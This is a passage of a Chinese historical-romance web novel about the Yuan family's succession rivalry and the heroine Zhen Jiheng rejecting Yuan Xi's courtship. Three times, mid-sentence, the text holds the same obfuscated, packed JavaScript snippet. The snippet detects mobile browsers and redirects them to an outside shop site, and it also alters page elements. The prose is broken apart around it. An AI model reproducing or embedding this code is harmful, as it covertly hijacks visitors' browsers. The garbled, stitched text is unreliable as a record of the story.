久久未闻应答,袁熙不住抬头探了眼,并提亮嗓门:“不知母亲唤儿前来,所为何事?” 刘氏这才恍如缓过神,含笑道:“二郎,你来了。” 她被白日里虚幻无尽的喧闹托得浮泛,整个人都快飘飘然了。可宴罢,宾客终归要散尽,当屋内的灯烛燃起,又该只剩这天上的月亮与自己相伴了,现实里的落寞骤然袭来时,竟比平素更使人失意。 “你父兄当下皆不在邺,尚儿顽皮,买儿年幼,今日寿宴劳你辛苦张罗,如今也堪当家里的顶梁柱石了,为母放心。快快坐下,我们母子间难得空暇说些体己话。” 袁熙忙说:“母亲谬赞,孩儿无所作为,多是大嫂和尹管事他们操持。” 闻此,刘氏的脸色果然略显不悦,她揣着手,慢步走回主位的坐席,并幽幽道:“文氏纵有千般不好,那也是袁家长媳,往后若无大错,自是容得下她。只可惜,你兄袁谭,越发不将我这个后母放在眼里了?又怎敢奢望他能记着我的寿辰,力求不讨人嫌便罢。” 两个多月前,刘氏与袁谭这对无血缘、无感情的便宜母子,终于就“过继给伯考”之事,产生了分歧,离彻底撕破脸,就差一层薄薄的豆腐皮。 女君偏爱三弟,只盼所有惠利都留给他;长子袁谭自然也日夜防着这位贪婪继母,哪肯将河北基业轻易拱手让给旁人。 而老二袁熙看似置身事外,实则左右为难,于情,他更该偏向自己的生母与同产弟;但于理,又深知废长立幼乃取祸之道。 最后含糊其辞:“大哥如今身为青州刺史,州中政务繁忙,难免走不开,加之路途遥远,更恐有耽搁,唯有辛苦大嫂替他多尽孝道。我们兄弟三人皆由母亲您抚养长大,不分彼此亲疏。什么讨嫌的话,更是荒谬,都盼着您健康长寿,颐养千秋呢。” 装傻,此人打小熟练掌握的本领之一,有时候,他甚至能骗过自己,好似这家里当真温馨和睦,其乐融融。 刘氏略诧异地望了袁熙一眼,虽失望,却也在情理之中。 这孩子生性淳良,即便知道父母有所偏心,他也规矩本分,不争不抢。 可亲生儿子与自己不同心,这倒让刘氏有些哽塞,良久,才脸色铁青地吐出一句:“你父,可知他哪日班师凯旋?” “回母亲的话,我军近来连战连捷,想必不日便能攻克易京。只是,战场之上瞬息万变,无有定数,孩儿暂不明归期,待明早飞鸽传书一封,探询军情。” 刘氏漠然颔首,再无其余的话想嘱咐了,便摆手遣他退下。 袁熙亦松了口气,离开符葆堂时,无意凝望着前后楹间挂的匾额——“笙磬同音”和“伯埙仲篪”——短暂停留了一会儿,只觉五味杂陈。 他盼望的家人之间,原该是亲近融洽,互相扶持的,绝非如今的明争暗斗…… 还没走远几步,又碰巧遇见三弟袁尚,那个被爱意包裹、肆意桀骜的少郎,正抱着两坛酒,欢快地迎面而来。 “兄长!” “阿尚。” “正巧了,我刚得了两坛兄长最喜欢的蟾宫醉,走,快随我回院里尝尝?” “你今日在宴席上还没喝够吗?” “美酒哪有喝得完的!”待走近些,袁尚才瞧见对方的表情有些难看,不由询问,“兄长这是怎么了,莫非又因婚事,同阿母起了争执罢?” 袁熙忍不住叹了声气,懒得再议,便点头搪塞。 “哈,今日我也远远瞧见那位甄娘子了,”袁尚笑道,“果然万里挑一的美人,还是兄长你有眼光。” “这事往后再说吧。” 可他没个眼力劲儿,继续玩笑:“你若实在拗不过阿母,必须娶那温表妹,收甄氏为侧室又太过可惜,不如讲她让给弟弟,我替你好好待她,可好?” 袁熙先是微微一愣,表情僵硬在脸皮上,他虽清楚三弟浪荡又口无遮拦,并非真心想要求娶季蘅,却还是打心底涌起股酸溜溜的怒火,强忍抑下后,竟很快化成一阵空虚的难过。 “酒我就不喝了,明日还有要务需打理。” 他最后苦笑着拊拍袁尚的肩膀,而另一边宽袖里的手,正紧攥着季蘅遗落的红色竹蜻蜓,有些疼。 翌日清早,袁熙找到甄尧,将昨晚这些对聊和盘托出。 甄尧听完倒也不意外:“他们这是急着要您表态。” “我怎么看,最重要的难道不是父帅他究竟怎么想的?”袁熙叹气,“事已至此,等父帅大破公孙瓒,得胜归邺,他二人的争嗣风波,恐只增不减了。往后谁承了位,另一个怕是都难得善终。可惜啊,若我兄弟三人能齐心共创袁氏基业,北方乃至天下,何愁不定?” 他总是模棱两可,难以表态,只因眼前的迷雾还太重。 甄尧猜得透他的心思:“自古立嗣,嫡长贤爱,无出其四。岂不知一代雄主赵武灵王废长立爱,最后落得饿死行宫的下场?” “尧兄,”袁熙连忙打断,“以史为鉴固然无错,却独独不能在父帅面前标榜卖弄,他向来多疑,又刚愎自用,甚少纳谏旁人。” “是。”甄尧亦心中有数,“其实我方才在想,邺侯欲将大公子过继给安国亭侯一事,是否就能完全断绝他袭位的念头?” 袁绍是庶出,生母的身份极其卑贱,使得他打小就不受重视,尤其在这人才济济的钟鼎世家,韬光养晦了许多年; 而安国亭侯袁基,贵为嫡长,理所应当承袭了父爵,位列九卿,一直活得众星捧月,可惜天不假年,前些年遭董贼杀害,死而绝嗣。 若将袁谭过继给袁基,身份名头确实能好听不少,可这只是面上,里子呢,汝南袁氏的政治资源早已经被绍、术二人瓜分干净。如今兵强马壮、坐拥四州,皆是袁绍真刀真枪打下来的。 “自我记事起,就知父帅偏疼三弟,每每将其带在身边历练,当是予以厚望的。大哥聪慧,岂会不明?可宗法在上,他心有不甘,也是理所应当的。”袁熙顿了顿,“只是父帅的一些举动,使我不解,若真心为三弟除阻,将大哥派往青州后,为何不早早削弱他的势力,反倒重用其心腹?就不怕来日尾大不掉?” “大公子是刘豫州举荐的茂才、曹司空提拔的刺史,如今有功无过,又没个好说法,如何轻易动得了他?至于什么重用他的心腹,莫如说是邺侯在平衡拉拢各大世族。”甄尧直言,“退一万步讲,你们都是邺侯的亲生儿子,祭的同个祖宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162279|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祠堂,再偏心又能差到哪去?总不会真的摈弃大公子吧!到底邺侯也未正式定下这过继之事,保不齐哪天就变了主意。” “你是让我继续静等?” “既然您无心夺宗又不想撕破脸站队,除却以逸待劳,还能如何?倒是我们这种做臣子的,才战战兢兢,等着看这阵风最后吹向何处。公子只消牢记一点,先攘外再安内,凡大祸必起于萧墙之内……” 这朵解语花还算管用,与之倾吐完,原本纠结无奈的袁熙如释重负,暂且搁置了这桩烦恼,便想去襄玉坊引酌散心。 他骑马慢行在热闹的安直街上,忽勒紧缰绳,往方才经过的列肆门口望了几眼。 果然那打头的女子就是辛善印,她正捏着柄团扇贴额,以遮挡日光,而后跟着三四名拿货物的婢仆。 里面还有个颇眼熟的,仔细想了想,像是季蘅身边伺候的丫鬟。 “你家娘子的忌口喜好,我最清楚不过了!”善印正同缦双有说有笑,未料一撇头,就瞧见袁家二公子在那高高的马上斜眼瞥她们。 襄玉坊不远处有座大宅子,是玄矶和乐人住的地方,依然唤作留仙园。 邺城不比毋极,随处都可能遇见惹不起的人物,所以季蘅现在想听曲了,就会直接跑到留仙园里喝茶,找这天没出场的乐人玩。 最近园子里多了条毛茸茸的小狗,黄黑杂毛,才个把月大,唤作金豆儿,季蘅对其爱不释手。 看来亘古亘今,唯有狗狗永远是治愈她的天使。 “阿甄既然喜欢,你也养一只吧。”王婵贴心端来果盘糕点,见她从眼睛里溢出的亮晶晶的爱意,不由建议。 幼犬舒服地躺在软窝里翻出肚皮。季蘅想了想,却摇头:“算了,这种事儿讲究缘分,毕竟是个会吵会闹的活物,还是看别人养最自在。我常来留仙园找豆豆玩就好。” 一旁正与孟觉苦下象棋的白楚夫不忘奉承道:“能得娘子喜欢,是金豆儿的福气。” 可话音刚落,对面的孟觉苦有些轻蔑地瞥了他一眼,然后抬手一步,铿锵有力地念道:“将军。” 半晌,白楚夫终于有动静了,他奋力抖了抖袖子,笑容慢慢消失殆尽,凌厉的眼睛还死盯着棋局。 “又输了?”季蘅得意地笑了笑,“我家这个小仆别的不行,棋艺最是擅长。” “好——”他痛惜地长叹,侧身拱手,“认赌服输,那卷古琴谱就输给甄娘子了!” “没白来,我也不跟你客气了,今日就将它带回家。” 闻此,孟觉苦便起身要走。白楚夫不遑痛惜,连忙止住他:“再再再来一盘。” 季蘅今天心情甚好,对孟觉苦说:“那你就再陪他玩一盘吧,反正我们还要留在此地用午膳。” 她散漫地伸了个懒腰,走出这叠翠亭。 不远处,几个年纪尚小的乐人在姹紫嫣红的花园里捉迷藏。 “娘子,宁姬新得了一张秦筝,名曰松雪仙,她请您过去观乐。” “好。”季蘅应下,边问,“算时辰,善印是该回来了,鸿楼离这儿也不远啊。” 细宝答:“辛大娘子既是去鸿楼采买肴膳,奴婢再饿,也等得心甘情愿。只怪留仙园的厨子太抠搜,什么菜都缺油水。” 边说笑,主仆俩互搀着往附近一间厢房走去。 33.嬉闹 午膳安置在王婵住的凌月阁,季蘅便没在宁桑处待太久,听完一曲,寒暄了几句,就依依拜别。 刚出东厢房,她眺见小园的芙蓉开得灿烂,特地绕远路从那边走,赏着花景,心情也能更朗净。 “用他们这里的澡豆洗手,竟有股经久不散的浓香,约是染了茉莉与苏合香,格外好闻呢。”她反复嗅了嗅自己的手背,也递向细宝鼻尖。 细宝点头道是:“娘子喜欢的话,等会儿奴婢向丹沛打听打听,咱们也买些回家。” 正说着话,谁也没注意左侧冷不防窜出个红布蒙眼的小丫头,那人大喝一声,直接抱住了季蘅,高兴喊叫:“哈!终于抓到了!” 季蘅被吓了一跳,下意识扶住对方,有些惊魂甫定,后又认出此人是坊里击磬的簪星,不由笑着打趣:“你要抓的究竟是谁啊?” 听声音像是甄家那位女郎,簪星迟疑半刻,暗道自己不慎抓错了过路人,但机灵如她,立马顺坡下驴,改口道:“我抓的正是你呀,甄小娘子!” 她连忙扯下蒙眼的缎子,笑靥甜美:“看,果然是。” 季蘅当真哭笑不得:“怎就赖上我了?” 这一来,新一轮的摸瞎子算是有了,躲藏的都安心跳出来,非拉着人一起玩。细宝竟也附和:“时间还早,娘子就陪她们玩玩嘛。” 季蘅脾气好,被她们围着脱不开身,便同意只玩一局。 那红绸缎绑紧眼睛后,大伙儿挥着绢帕,嘻嘻哈哈地零散开来。她小心翼翼挪着步,伸长手摸索,生怕踩上撞上什么花草树木的。 “都不许藏太远了。” “不会不会,有奴婢看着她们。”细宝故意发出声音。 闻得些脚步动静,季蘅撤身往右探了一下,指尖似乎触碰到了什么,本能地往前扑去。 未料直直跌进一人怀里。 她的手正扶在那人胸口,摸到光滑的绸缎布料和银丝绣纹,很结实,于是忐忑又果敢地继续往上摸了摸—— 这下巴,这高度,无疑是个挺拔硬朗的男人。 但肯定不是孟觉苦了,眼前这人更矫健强壮,身上也没有草药味。 “应该不会是园里哪个不长眼睛的倡优乐工吧?” 她偏头喃喃问,不由站稳了些,手却没停,能感受到对方很紧张,连呼吸都变重了,又摸到那人的耳垂,竟有些发烫,想必看起来已然通红。 能随意进入留仙园的男子不多,熟悉的几个似乎都没有跟前这位高,而白楚夫脸皮太厚,恐怕连腼腆二字怎么写的都不知道。 至于其他外来的…… 季蘅忽想到一个名字,也许因为太忌讳,连身体都随之僵硬些,可越琢磨越能对上号,她下意识后退半步,不知所措地低垂了手。 “细宝,”她声音微颤,几近呼救,“你在吗?” “在、在呢。”细宝大约也被震惊到了,只结巴地从嘴里挤出两个音。 听到这反应,季蘅彻底心凉了,绝对就是姓袁的,于是整个人都开始发慌后悔。 “我猜不出来,再换一个抓吧。” 她又往后挪了半步,想着先装死糊弄过去。 对面的男人却往前倾了倾,似乎在笑,他轻哼了声,然后用无比温柔的声音说:“是我。” 这声音固然动听,可在季蘅脑子里已经不外乎五雷轰顶。 袁熙。 果真是袁熙。 旁边看戏的善印彻底忍不住了,窃笑道:“哎哟,摘了吧,摘了。” “娘子……”原来细宝也在忍笑。 不妙,这场面定是尴尬又滑稽。 好半晌,季蘅终于认命地扯掉了缎布,她放低视线,当是没适应日光,实为避开袁熙过于炽热的目光。 善印以扇掩嘴,也藏不住她上扬的嘴角,戏谑道:“还真是有缘分啊,摸出个不得了的。” 季蘅虽强作镇静,仍不敢看人,最后尴尬地屈膝道福:“失礼了。” 袁熙摸了摸脖颈儿,以为她亦是露出副娇怯模样,惬意地笑出声:“无妨。” 秋天,风轻气爽,两人微红的脸似乎被吹得很舒服。 回去的时候,季蘅缄默了一路,还是善印屡屡追讨,才释出些怒气,冷脸质问:“怎么偏把袁熙也带来了?” 等人排揎完,善印没皮没脸地笑应:“可说到底,我看你摸得挺开心啊。” 季蘅一听,气得抬手就要敲她脑瓜。 “哎呀!好,你不开心,只我一个开心,我最开心了!”她顺势抓住对方的手,仍笑嘻嘻道,“怪我太愚钝,今日才知道二公子喜欢的人是你,真好真好!” “有什么好的?” “我的小姑奶奶,袁熙的身份家世,放眼整个河北……不,全天下,你还嫌不够好?莫不是想进宫当贵人?呵,我还敢直说了,入宫都未必有嫁给他好。” 季蘅憋屈得很,却也说不清、道不明,只喃喃:“反正我不想在起劲的当口,遇见不熟的人扫兴。” “多见几次不就熟了嘛。” “你——”她一口气噎得慌,缓了缓,“再这样,我下次绝不找你玩了。” “好好好,今天就算我的错。”善印哄道,“但也不能全怪我,那大街上遇着了二公子,总不能装瞎躲他吧,人家又没得罪我。” 见季蘅脸色和缓不少,她继续恳切说,“何况,袁熙平日就很照顾你家兄长,待你一直是彬彬有礼的,从未做过逾矩之事。你便真讨厌,也得给出个理不是?” 对此,心虚的季蘅再说不出话来,低着头,扪弄宽袖边花样。 自从订了亲,善印就觉得自己完全变成大人了,喜欢摆出洞悉世事的样子,轻声追问:“弥儿,你同我讲实话,可是已经有心上人了?” “没有。” “好,我信。既然你现在心无所属,不若就与他试试?我瞧袁熙看你的眼神,应当是真心喜欢的,并非一时兴起。成了,皆大欢喜;实在不成,以后也不至于遗憾。” 季蘅有些无奈地看了她一眼,但也没法坦白,总不能直说,说袁氏气数将尽,没几年就要倾覆了;说我的未来孩他爹今兹还是个半大小子,不着急…… 半刻之后,才支吾酿出一句:“容我再想想。” “婚姻大事是该认真想一想。总之,莫错过这个顶好的,若动作太慢,被别人抢走了,你都没地后悔去。” 悔不悔的还没想过,反正经过此事,季蘅又开始不爱出门了,天气渐渐转凉,母亲和二嫂她们也都到邺城了。 现下虽理由充沛得躲着人,但一昧逃避,总不是解决的办法。 某日在新书斋,季蘅工整地誊写着诗经。 写到“死生契阔,与子成说。执子之手,与子偕老①”时,她轻蔑冷笑,嘴里满是不屑嘟囔; 写到“士之耽兮,犹可说也。女之耽兮,不可说也②”时,她莫名停笔,抬眼望向一旁正在喝药的孟觉苦,过了一会儿,忽严肃开口问:“喂,你这个年纪,以前成过亲吗?” 闻此,孟觉苦差点没把汤药喷出来,他强作镇静地咽下,擦了擦嘴角,才如实答:“没有。” 见季蘅眼色迷离,大概怕她不信,又补充,“我自小从军,半生颠沛,是在死人堆里过活的,没什么机会成家。” 她只若有所思地点点头:“好事,这样就无牵无挂了。” 孟觉苦很快反应过来,之前也听说了袁熙对她的心思,便问:“很少见你烦恼,最近是为情所困了?” 季蘅的脸皱成一团:“说不上。” “袁熙不错。” “什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173105|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我说,袁家那个二公子,生得俊朗,品行端正,应当是个值得托付终身的好人。”孟觉苦难得一见地诚恳道。 “哎,甄尧不会连你也收买了吧?”季蘅戏谑,“你认识袁熙吗,就夸他好?” “见过。” 她想了想,一些窘迫的记忆瞬间浮现心头:“我还以为那次你们都没碰见呢。” “那日在留仙园,我只远远瞧见他离开的身影,忽想起很久以前也曾打过照面。” “哦,对,曹孟德与袁本初曾为僚侣,说来你从前应当也有机会见过袁熙的。” 孟觉苦怅惋道:“恍如隔世了,那时候他年纪还太小,夹在兄弟间,就像只温顺软弱的兔子,不爱作声,死活不敢冒头。自然,我们现在都大不一样了。再见面,他恐怕也认不出我。” 季蘅不由自主地笑了笑:“他最近好像晒黑了些,像只大笨狗。” “袁公子似乎很喜欢你。” “是吗?我从小到大都招人喜欢。” “你们看上去甚是般配。” “般配般配,倒有缘无份。” …… 孟觉苦略无奈地看着她:“你一时逃避装傻可以,却不能糊弄一辈子,再过几个月,就要及笄了。” 季蘅托着腮,满不在乎地挑了下眉:“但愿我能清醒活一辈子。” 窗外是专属晚秋的虫鸣,今日却听得她心底莫名发闷,撂下这话后,便潇洒起身,离开了书斋。 此刻已近黄昏,西天烧起绚丽的彤云,融融晚风拂面。她沿着柳枝低垂的湖岸信步,独自感受这份无拘无碍的恬静。 不远处的蜿蜒小径,有老仆在清扫枯叶,一层浅棕的树林后,黑瓦之上生得袅袅炊烟。 大略望遍这些寻常景象,季蘅时而斜睇右下,不知正空想什么。 走着走着,忽闻一阵腾扑,几只北红鸟摇动尾巴,从枝头落到挂满浆果的火棘丛里。 她不禁挑了下眼皮,隐约回过神。 也是在这时,才注意到耦闲轩的灰白矮墙下,站着个局促不安的黄衣小女孩,七八岁的模样,身旁还跟有俩丫鬟。 其中一个浓眉毛、大嘴巴的,正张望不迭,待她注意到季蘅时,像是抓住什么救命稻草,欢喜迎上前。 “给五娘子请安。” 原来是母亲身边伺候的云寿。 季蘅这才想起来,近日有亲戚来邺城做客了,其中就有个小姑娘,是十三堂叔甄迢家的大女儿,乳名俶月。 俶月现在还很认生,一发觉有陌生的人,就忙躲到另一个丫鬟梅子的身后,只偷偷探出半个脑袋。 问了云寿才知道,方才她们在湖边的空地放风筝,小孩子没个轻重,不小心扯断了线,眼巴巴目送那蝴蝶模样的风筝落进这院里。 “怎么不进去捡?”季蘅不会跟小孩打交道,只好问丫鬟的话。 “尧郎君在此地宴请贵客,奴婢们不敢叨扰。” 敬月是个胆小又执拗的,既不敢入内捡风筝,更不想空手而归,所以才一直沉默地站在围墙下闹别扭。 “贵客?”季蘅笑道,“不过悄悄捡个风筝,哪有什么叨扰的。你们若实在不敢,那由我来吧。” “多谢五娘子了。”生怕她后悔一般,云寿忙道谢。 “也快用晚膳了,你们先回去,别叫孩子饿着,晚点我再差人把那风筝送还到的表妹住所。” “诺。” 上至贵胄,下至走卒,甄尧最近广交朋友,似乎到了来者不拒的地步。但季蘅很清楚,兄长如今的所作所为,都是替袁氏做事打幌子。 “等等,”她忽想起什么,补充道,“云寿,辛苦你去趟我的集芳馆,让细宝送来一样东西。” 有些事拖得够久了,只能徒增烦恼,到底长痛不如短痛! 34.婉拒 深秋的夜很快化作饕餮,吞尽天幕的光。 薛婉陪君姑张氏简单用了些斋饭,又盯着程乳媪将孩子哄睡着,才姗姗回到房间。 “我看不太好,隔辈养大的娃娃,要么太娇纵跋扈,比如我家那个浑侄儿定昌,简直混世魔王;要么就像十三堂叔家的月丫头,是个怯懦的闷腔儿,竟显得有些小家子气……” 刚进门,她原是和引棠说着闲话,没想到甄尧这个时候还背手站在窗下,转而奚落:“诶,哪来的憨子,大晚上敞着个窗吹风,冷不冷啊?” 可那人却没搭理她,似乎正沉思得出了神。 薛婉忍住脾气,摆摆手,谕引棠瀹茗,而后大声吓道:“甄叔崖!莫不是给冻傻了?” 她对着铜镜,卸下翠珰和珠钗,边念叨,“你不怕伤风,我还怕你没分寸传染给渠儿。” “在,”甄尧这才恍然应答,“我在。” 薛婉虽恼,多少反被气笑了:“你在哪?你该上了天了!这是怎么魂不守舍的,还苦着张脸?只道袁熙今日在我们府上,你是做了什么,叫他给你气受了?” 闻此,甄尧冷哼一声,颓丧地坐到卧榻上:“该问问咱家的好妹妹,她做了什么大好事。” “五娘?她最近挺乖的呀,终日待在屋里读书,大门不出、二门不迈的。”薛婉瞪亮了眼睛,早已睡意全无,比起担心,更好奇些,“究竟怎么了?” 说是季蘅今日去耦闲轩捡掉落的风筝,正巧袁熙当时就倚坐在窗边,便这样出其不意地四目对望了。 遇着朝思暮想的人,袁熙惊喜又惶恐,脑子仍有些发懵,忽忆起昨夜之状——他躺在软榻上难眠,不断回味那日女子贴着自己的胸膛,用冰冷柔软的手抚过自己面庞,待恍惚睡着,竟做了一个春光旖旎的绮梦,半夜醒来,鼓鼓囊囊的亵裤之下已然湿透…… “公子?” 半晌才恍过神,已是红透了耳根,磕磕绊绊的,仓促邀季蘅进屋。 “弥儿会下棋么?” 气氛尴尬,袁熙瞥见桌边的石匣,主动找话聊。 季蘅亦是拘谨,望着杯中热茶有些不知所措,又听他忽地这样问,生怕是想与自己对弈一番,亟亟摇头:“我是个臭棋篓子。” 听到这,袁熙畅然笑道:“好巧,从前与三弟对弈,即便受他让子,我也常输,他便笑我臭棋篓子。” 言语之间,没有半点自嘲的酸气,反倒透着纯真、诚挚,和滔滔不绝的分享意兴,那样欢欣,仿佛是闯进了一片拥挤的花圃,馥香争先恐后地扑面而来。 可惜季蘅心如止水,不知该接些什么话,仅附和地淡然一笑。 彼时,西沉的阳光染红了窗槛,浓得像碗柿汁,以至于她的笑也被衬映得融暖。 只要有机会,袁熙便喜欢直勾勾盯着季蘅看,她的脸很美,总让人不住倒吸一口凉气,哦不,那该是一口来自春天的朝霭。 不知不觉中,又陷入了短暂的沉默,至此,两人表面上都斯抬斯敬,非常客气。 季蘅翘着小指,将手边的茶品慢条斯理地掉了七分,她终于酝酿好情绪,从袖口取出一个荷包,轻轻置于桌面,含蓄道:“多谢公子抬爱,可我从无功劳,与您不过点头之交,实在受之有愧。如今物归原主,也算了结多时的一桩心事。” 是去岁离开邺城前,袁熙托人送的耳珰和那句“我心匪石,不可转也”的承诺。 他愣了愣,双眼茫然:“无妨,你若不喜欢这个,我明日、我今日就去换个更稀罕的。” “不必了。”季蘅不知对方是真傻还是故意装傻,几分愧疚地欠身告辞,“人生分定,只说个缘法,尤其感情,强求不得。” 说完,便匆匆拿着风筝离开。 最后只剩袁熙一人孤坐,越发铁青了脸。 “她怎么敢的,平素对人家不是矜持得很么?”听甄尧添油加醋地描述完,薛婉不免怔忪,忙诘问,“那袁公子又怎么说?” “还能如何,就是不小心把我的茶具磕坏个角,脸色比打霜的茄子还难看……” “这便是真动怒了啊!哎,可怎么是好!” 甄尧无奈摊开手:“感情嘛,总归是两个人的事,旁人干涉不来。” 薛婉皱紧了眉头:“即便真的不喜欢,也不能当面拒绝啊,说不定直接得罪袁家了!” “已经这样了,就算把女娲娘娘的石头请出来补救也无济于事。好在我了解袁熙,他是个通情达理的,到底不会太迁怒抻练我,夫人不必担心,先歇息吧。” 她摇摇头,叹了声气:“五娘若总是这样心直口快的性子,往后怕是要吃大苦头。” 关于以后能吃多少苦,季蘅还不得而知,眼下,她却因趁早斩断了一枝活不长久的桃花而倍感快慰。 偷偷琢磨: 如果没嫁进袁府,遇见大Boss曹丕的几率就微乎其微了,再客气讨好了孟觉苦,那官渡之后自己也能有个小靠山,往后的生活岂不潇洒快活…… “娘子,娘子。” 细宝递来一碟赭褐色的板栗,见季蘅捧起书册,总盯着某行,动也不动,却不自觉展露微笑。 “您这是看什么高兴呢,也给奴婢说说?” 季蘅这才从无限畅想中抬头,刚刚已经开始琢磨去西川要多少盘缠了。她敛起笑意,忽问:“家里有无武功好的人?” “成禄啊!” “他不行,几乎是甄尧的尾巴,形影不离的。” “卢宽和石康倒都会些拳脚,但不算精,多是自个儿防身。您问这个做什么?” “乱世险阻,我想着,如果哪天出了冀州,游历四方,是不是还得雇几个侍卫左右?” “那卢宽他们可就不行了,且不说本领,胆子更是一个比一个小,万一遇上什么草寇马匪的,怕要抢着乞降!”细宝笑说,“至于您要的那些护卫,也不难找。只管有粮有钱,随便一个铜板扔下去,能砸准不少没门道的高手!” “武功好还是次要,姿貌好当是第一。”季蘅这便开始痴想了,挑几个帅气如小霸王、锦马超、赵子龙的保镖,提枪伴自己出游,多是件人间美事,后世佳话。 “嗯,合该如此。” 缦双瞧着这两人愈发异想天开,不留情面地浇了盆冷水:“莫说离开冀州了,您如今想出邺城都难。” 季蘅一向达观,只道:“不急,我现在好好休养身体,争取活长点,往后总会有机会的。” 所幸丫鬟们都习惯她的“胡说八道”,从来没有什么忌讳。 细宝凑得更近些,撒娇道:“您无论去哪儿,定要带上奴婢。” “看你表现。” 缦双则在一旁嗔笑:“那感情好啊,养生修命。娘子若真有这个念头,往后可要早些睡,莫贪凉,也不许再挑食了……” 闻此唠叨,季蘅不由拿书卷盖住了脸。 她这个人遇事常有拖延,能缓则缓,可要是铁了心下定了着手,那行动力便如洪河决口,一泻千里。 翌日早晨,她一睡起,就带着丫鬟将近年袁熙送的礼物,悉数整理了出来,全锁进两抬箱子里,并附上名录册子,赶在午膳前,利索送到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177025|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甄尧的堂屋。 薛婉眯着眼,巴头探脑地量了几遍,最后忍不住问丈夫:“你妹子这是要掀天了?” “难说,”甄尧捶了捶隐隐作痛的额头,龇牙咧嘴,“整个冀州的野驴圈起来,怕都没她脾气犟!” 季蘅是什么性子?若铁了心要划清界限,恐怕比王母那一簪银汉还决绝。 话虽如此,他也不能真依了妹妹,直接把这烫手山芋般的箱子转交给袁熙,更担心对方还没消气,怠慢疏远自己,现下只好先收进私库里。 而袁府这几日,其实闲得无事,幽州那边屡传捷报,只道公孙瓒像簇摇摇欲坠的残烛,已是日暮途穷了。 “西郊的租子,还劳你吩咐下去多费心。”晚辈几个,照例给刘氏请过安,走出回廊时,文悫君乘隙给两位小叔子交代了些杂务。 袁熙却只神思恍惚地点了点头,不像真听进耳朵里了。 见他摆出副怅然自失的模样,文悫君不由多嘴关照:“二弟近来可是遭遇了什么烦心事?” “啊,无事,无妨。”袁熙敷衍笑道,“长嫂方才吩咐的,愚弟照办就是。” 跟在身后的袁尚欲言又止,俟大嫂离开后,他才拢身一凑,近乎讨好:“听说鸿楼最近上了批凉州来的新酒,特别香醇,兄长若有空,陪我去转转?” “你自己玩吧,我今日没兴致。” “嗐,管甚么在不在兴头上的,有张嘴和舌就行了!”他却硬要拉着人走,“便是陪我尝尝味也好啊!” 虽不情愿,袁熙到底拗不过弟弟,还是被推上了鸿楼。 都说酒后易吐真言,斟了三巡金桂酿,袁尚试探问:“年关在即,那些吃的、穿的、用的、供的……也不知兄长有没有提早预备?” 袁熙大惑不解,瞧了他一眼,闷闷道:“这种事素来不是有后院那些人措置?” 袁尚歪头笑了笑,答:“明年兄长也该加冠了,阿母近来就常提及,有意为你说定一门好亲事。往后成了家,合该由兄长与嫂嫂共执掌。” 现在说这种话,无疑是伤口撒盐了,袁熙冷哼一声,心头更添苦闷,爽性将杯中酒饮尽。 他双目迷离地从怀里摸出一只别致的红蜻蜓,死死盯着,借那酒劲,将被季蘅婉拒的事,都痛诉给弟弟听了。 听完,袁尚怫然切齿:“要我说,兄长,你就是太给那个甄氏的脸了,才叫她有恃无恐至此!” “你要为兄如何?能如何?” “不过一个寻常人家的女儿,无权无势,入得咱们袁家人的眼,已是她半生求不来的福分!你呀,直接恳请阿母下聘就是了,何必麻烦多问,那甄家难不成还敢拒了?” 袁熙不由长叹一声,弟弟说的这些,他未必没想过,只是若真将一个人捧到心尖,便再舍不得叫她难过了:“强拧的瓜不甜。” “呸,什么甜的酸的,解渴爱吃就行。”袁尚啐了一句,受不了对方的烂脾气,他想了想,忽又有了新主意,说,“兄长何必看轻自己,弟弟还有一句真心话,你且随耳一听,虽说那甄氏女敢当面拒你,未必就是真的厌恶,或许欲擒故纵,或许釜底抽薪……也未可知啊!” “什么?” 他意味深长地笑笑,卖起关子:“兄长若信得过我,便将此事全权交给我办,若是成了,来日喜宴上,多敬我一杯酒就好。” 袁尚只在母亲的寿宴上远远瞧见过季蘅一回,留下的印象不过是:甄尧之妹,有殊色,为二哥所喜。 而这种喜欢,于他的理解而言,就与喜欢一样兵器、一只猫狗、一朵花无异。 35.祈福 指腹蹭了蹭泛红的鼻尖,季蘅终是没打出那个喷嚏。 霜降十月,西风已渡,想必最后一只灰面鹫也抟跃长城万里,往南边去了。 “都记下来了,粗略算了个大概,请娘子过目。” 悉数还完袁熙的东西,她们顺便理了理库里囤的其余财宝,果然得出笔相当可观的数字。 季蘅十分称心,但还是尽量压住了笑意,大约她最近食多了鱼虾,有些上火,笑起来的时候,嘴角会咧得刺痛。 “还有毋极那边的田庄,收成账目年后才能送来。”红枭补充。 “好,我知道了。” 